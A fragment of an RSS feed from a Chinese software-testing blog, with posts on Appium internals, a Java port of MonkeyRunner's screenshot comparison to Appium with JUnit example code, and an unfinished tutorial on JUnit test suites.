title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421660.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:15 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421660.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium Server源码分析之作为Bootstrap客户端</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421659.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:14:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421659.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421659.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421659.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421659.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421659.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Appium&nbsp;Server拥有两个主要的功能：　　它是个http服务器，它专门接收从客户端通过基于http的REST协议发送过来的命令　　他是bootstrap客户端：它接收到客户端的命令后，需要想办法把这些命令发送给目标安卓机器的bootstrap来驱动uiatuomator来做事情　　通过上一篇文章《Appium Server 源码分析之启动运行Express http服务器》我们分...&nbsp;&nbsp;<a href='http://www.blogjava.net/qileilove/archive/2014/12/23/421659.html'>阅读全文</a><img src ="http://www.blogjava.net/qileilove/aggbug/421659.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:14 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421659.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>移植MonkeyRunner的图片对比功能实现-Appium篇</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421658.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:10:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421658.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421658.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421658.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421658.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421658.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　如果你的目标测试app有很多imageview组成的话，这个时候monkeyrunner的截图比较功能就体现出来了。而其他几个流行的框架如Robotium，UIAutomator以及<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a>都提供了截图，但少了两个功能：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取子图</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　图片比较</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　既然<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Google</strong></u></a>开发的MonkeyRunner能盛行这么久，且它体功能的结果验证功能只有截屏比较，那么必然有它的道理，有它存在的价值，所以我们很有必要在需要的情况下把它相应的功能给移植到其他框架上面上来。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　经过本人前面<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>描述的几个框架的源码的研究（robotium还没有做），大家可以知道MonkeyRunner是跑在PC端的，只有在需要发送相应的命令事件时才会驱动目标机器的monkey或者<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>等。比如获取图片是从目标机器的buffer设备得到，但是比较图片和获取子图是从客户PC端做的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这里Appium工作的方式非常的类似，因为它也是在客户端跑，但需要注入事件发送命令时还是通过目标机器段的bootstrap来驱动uiatuomator来完成的，所以要把MonkeyRunner的获取子图已经图片比较的功能移植过来是非常容易的事情。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　但UiAutomator就是另外一回事了，因为它完全是在目标机器那边跑的，所以你的代码必须要android那边支持，所以本人在移植到UiAutomator上面就碰到了问题，这里先给出Appium 上面的移植，以方便大家的使用，至于UiAutomator和Robotium的，今后本人会酌情考虑是否提供给大家。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　还有就是这个移植过来的代码没有经过优化的，比如失败是否保存图片以待今后查看等。大家可以基于这个基础实现满足自己要求的功能</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. 移植代码</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　移植代码放在一个Util.java了工具类中：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public static boolean sameAs(BufferedImage myImage,BufferedImage otherImage, double percent)</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">//BufferedImage otherImage = other.getBufferedImage();</div><div style="word-break: break-all; margin: 10px 0px;">//BufferedImage myImage = getBufferedImage();</div><div style="word-break: break-all; margin: 10px 0px;">if (otherImage.getWidth() != myImage.getWidth()) {</div><div style="word-break: break-all; margin: 10px 0px;">return false;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">if (otherImage.getHeight() != myImage.getHeight()) {</div><div style="word-break: break-all; margin: 10px 0px;">return false;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">int[] otherPixel = new int[1];</div><div style="word-break: break-all; margin: 10px 0px;">int[] myPixel = new int[1];</div><div style="word-break: break-all; margin: 10px 0px;">int width = myImage.getWidth();</div><div style="word-break: break-all; margin: 10px 0px;">int height = myImage.getHeight();</div><div style="word-break: break-all; margin: 10px 0px;">int numDiffPixels = 0;</div><div style="word-break: break-all; margin: 10px 0px;">for (int y = 0; y &lt; height; y++) {</div><div style="word-break: break-all; margin: 10px 0px;">for (int x = 0; x &lt; width; x++) {</div><div style="word-break: break-all; margin: 10px 0px;">if (myImage.getRGB(x, y) != otherImage.getRGB(x, y)) {</div><div style="word-break: break-all; margin: 10px 0px;">numDiffPixels++;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">double numberPixels = height * width;</div><div style="word-break: break-all; margin: 10px 0px;">double diffPercent = numDiffPixels / numberPixels;</div><div style="word-break: break-all; margin: 10px 0px;">return percent &lt;= 1.0D - diffPercent;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">public static BufferedImage getSubImage(BufferedImage image,int x, int y, int w, int h)</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">return image.getSubimage(x, y, w, h);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">public static BufferedImage getImageFromFile(File f) {</div><div style="word-break: break-all; margin: 10px 0px;">BufferedImage img = null;</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">img = ImageIO.read(f);</div><div style="word-break: break-all; margin: 10px 0px;">} catch (IOException e) {</div><div style="word-break: break-all; margin: 10px 0px;">//if failed, then copy it to local path for later check:TBD</div><div style="word-break: break-all; margin: 10px 0px;">//FileUtils.copyFile(f, new File(p1));</div><div style="word-break: break-all; margin: 10px 0px;">e.printStackTrace();</div><div style="word-break: break-all; margin: 10px 0px;">System.exit(1);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">return img;</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">这里就不多描述了，基本上就是基于MonkeyRunner做轻微的修改，所以叫做移植。而UiAutomator就可能需要大改动，要重现实现了。<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">2. 客户端调用代码举例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">packagesample.demo.AppiumDemo;</div><div style="word-break: break-all; margin: 10px 0px;">importstaticorg.junit.Assert.*;</div><div style="word-break: break-all; margin: 10px 0px;">importjava.awt.image.BufferedImage;</div><div style="word-break: break-all; margin: 10px 0px;">importjava.io.File;</div><div style="word-break: break-all; margin: 10px 0px;">importjava.io.IOException;</div><div style="word-break: break-all; margin: 10px 0px;">importjava.net.URL;</div><div style="word-break: break-all; margin: 10px 0px;">importjavax.imageio.ImageIO;</div><div style="word-break: break-all; margin: 10px 0px;">importlibs.Util;</div><div style="word-break: break-all; margin: 10px 0px;">importio.appium.java_client.android.AndroidDriver;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.apache.commons.io.FileUtils;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.junit.After;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.junit.Before;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.junit.Test;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.openqa.selenium.By;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.openqa.selenium.OutputType;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.openqa.selenium.WebElement;</div><div style="word-break: break-all; margin: 10px 0px;">importorg.openqa.selenium.remote.DesiredCapabilities;</div><div style="word-break: break-all; margin: 10px 0px;">publicclassCompareScreenShots{</div><div style="word-break: break-all; margin: 10px 0px;">privateAndroidDriverdriver;</div><div style="word-break: break-all; margin: 10px 0px;">@Before</div><div style="word-break: break-all; margin: 10px 0px;">publicvoidsetUp()throwsException{</div><div style="word-break: break-all; margin: 10px 0px;">DesiredCapabilitiescap=newDesiredCapabilities();</div><div style="word-break: break-all; margin: 10px 0px;">cap.setCapability("deviceName","Android");</div><div style="word-break: break-all; margin: 10px 0px;">cap.setCapability("appPackage","com.example.android.notepad");</div><div style="word-break: break-all; margin: 10px 0px;">cap.setCapability("appActivity",".NotesList");</div><div style="word-break: break-all; margin: 10px 0px;">driver=newAndroidDriver(newURL("http://127.0.0.1:4723/wd/hub"),cap);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">@After</div><div style="word-break: break-all; margin: 10px 0px;">publicvoidtearDown()throwsException{</div><div style="word-break: break-all; margin: 10px 0px;">driver.quit();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">@Test</div><div style="word-break: break-all; margin: 10px 0px;">publicvoidcompareScreenAndSubScreen()throwsInterruptedException,IOException{</div><div style="word-break: break-all; margin: 10px 0px;">Thread.sleep(2000);</div><div style="word-break: break-all; margin: 10px 0px;">WebElementel=driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));</div><div style="word-break: break-all; margin: 10px 0px;">el.click();</div><div style="word-break: break-all; margin: 10px 0px;">Thread.sleep(1000);</div><div style="word-break: break-all; margin: 10px 0px;">Stringp1="C:/1";</div><div style="word-break: break-all; margin: 10px 0px;">Stringp2="C:/2";</div><div style="word-break: break-all; margin: 10px 0px;">Filef2=newFile(p2);</div><div style="word-break: break-all; margin: 10px 0px;">Filef1=driver.getScreenshotAs(OutputType.FILE);</div><div style="word-break: break-all; margin: 10px 0px;">FileUtils.copyFile(f1,newFile(p1));</div><div style="word-break: break-all; margin: 10px 0px;">BufferedImageimg1=Util.getImageFromFile(f1);</div><div style="word-break: break-all; margin: 10px 0px;">f2=driver.getScreenshotAs(OutputType.FILE);</div><div style="word-break: break-all; margin: 10px 0px;">FileUtils.copyFile(f2,newFile(p2));</div><div style="word-break: break-all; margin: 10px 0px;">BufferedImageimg2=Util.getImageFromFile(f2);</div><div style="word-break: break-all; margin: 10px 0px;">Booleansame=Util.sameAs(img1,img2,0.9);</div><div style="word-break: break-all; margin: 10px 0px;">assertTrue(same);</div><div style="word-break: break-all; margin: 10px 0px;">BufferedImagesubImg1=Util.getSubImage(img1,6,39,474,38);</div><div style="word-break: break-all; margin: 10px 0px;">BufferedImagesubImg2=Util.getSubImage(img1,6,39,474,38);</div><div style="word-break: break-all; margin: 10px 0px;">same=Util.sameAs(subImg1,subImg2,1);</div><div style="word-break: break-all; margin: 10px 0px;">Filef3=newFile("c:/sub-1.png");</div><div style="word-break: break-all; margin: 10px 0px;">ImageIO.write(subImg1,"PNG",f3);</div><div style="word-break: break-all; margin: 10px 0px;">Filef4=newFile("c:/sub-2.png");</div><div style="word-break: break-all; margin: 10px 0px;">ImageIO.write(subImg1,"PNG",f4);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　也不多解析了，没有什么特别的东西。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　大家用得上的就支持下就好了...</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421658.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:10 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421658.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JUnit中的测试套件和参数化测试</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421656.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:07:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421656.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421656.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421656.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421656.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421656.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">JUnit4.x的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>运行器</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">JUnit</strong></u></a>为<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">单元测试</strong></u></a>提供了默认的测试运行器，它的测试方法都是由它负责执行的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们也可以定制自己的运行器，所有的运行器都继承自org.junit.runner.Runner</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　还可以使用org.junit.runer.RunWith注解 为每个测试类指定使用具体的运行器</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　一般情况下，默认测试运行器可以应对绝大多数的单元测试要求</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　当使用JUnit提供的一些高级特性，或者针对特殊需求定制JUnit测试方式时</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　显式的声明测试运行就必不可少了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">JUnit4.x测试套件的创建步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9312; 创建一个空类作为测试套件的入口</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9313; 使用org.junit.runner.RunWith 和org.junit.runners.Suite.SuiteClasses注解 修饰该空类</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9314; 将org.junit.runners.Suite 作为参数传入RunWith注解，即使用套件运行器执行此类</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9315; 将需要放入此测试套件的测试类组成数组，作为SuiteClasses注解的参数</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&#9316; 保证这个空类使用public 修饰，而且存在公开的不带有任何参数的构造函数</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　下面是JUnit4.x中创建测试套件类的示例代码</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">package com.jadyer.junit4;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runner.RunWith;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runners.Suite;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.runners.Suite.SuiteClasses;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* JUnit4.x测试套件的举例</div><div style="word-break: break-all; margin: 10px 0px;">* @see 下面的CalculatorTest.class和ParameterTest.class均为我们自己编写的JUnit4单元测试类</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@RunWith(Suite.class)</div><div style="word-break: break-all; margin: 10px 0px;">@SuiteClasses({CalculatorTest.class, ParameterTest.class})</div><div style="word-break: break-all; margin: 10px 0px;">public class TestAll {}</div><div style="word-break: break-all; margin: 10px 0px;">　　下面是JUnit3.8中创建测试套件类的示例代码</div><div style="word-break: break-all; margin: 10px 0px;">package com.jadyer.junit3;</div><div style="word-break: break-all; margin: 10px 0px;">import junit.framework.Test;</div><div style="word-break: break-all; margin: 10px 0px;">import junit.framework.TestCase;</div><div style="word-break: break-all; margin: 10px 0px;">import junit.framework.TestSuite;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* JUnit3.8中批量运行所有的测试类。。直接在该类上Run As JUnit Test即可</div><div style="word-break: break-all; margin: 10px 0px;">* @see 这里就用到了设计模式中典型的组合模式，即将不同的东西组合起来</div><div style="word-break: break-all; margin: 10px 0px;">* @see 组合之后的东西，即可以包含本身，又可以包含组成它的某一部分</div><div style="word-break: break-all; margin: 10px 0px;">* @see TestSuite本身是由TestCase来组成的，那么TestSuite里面就可以包含TestCase</div><div style="word-break: break-all; margin: 10px 0px;">* @see 同时TestSuite里面还可以继续包含TestSuite，形成一种递归的关系</div><div style="word-break: break-all; margin: 10px 0px;">* @see 这里就体现出来了，所以这是一种非常非常好的设计模式，一种好的策略</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public class TestAll extends TestCase {</div><div style="word-break: break-all; margin: 10px 0px;">//方法名固定的，必须为public static Test suite()</div><div style="word-break: break-all; margin: 10px 0px;">public static Test suite() {</div><div style="word-break: break-all; margin: 10px 0px;">//TestSuite类实现了Test接口</div><div style="word-break: break-all; margin: 10px 0px;">TestSuite suite = new TestSuite();</div><div style="word-break: break-all; margin: 10px 0px;">//这里传递的是测试类的Class对象。该方法还可以接收TestSuite类型对象</div><div style="word-break: break-all; margin: 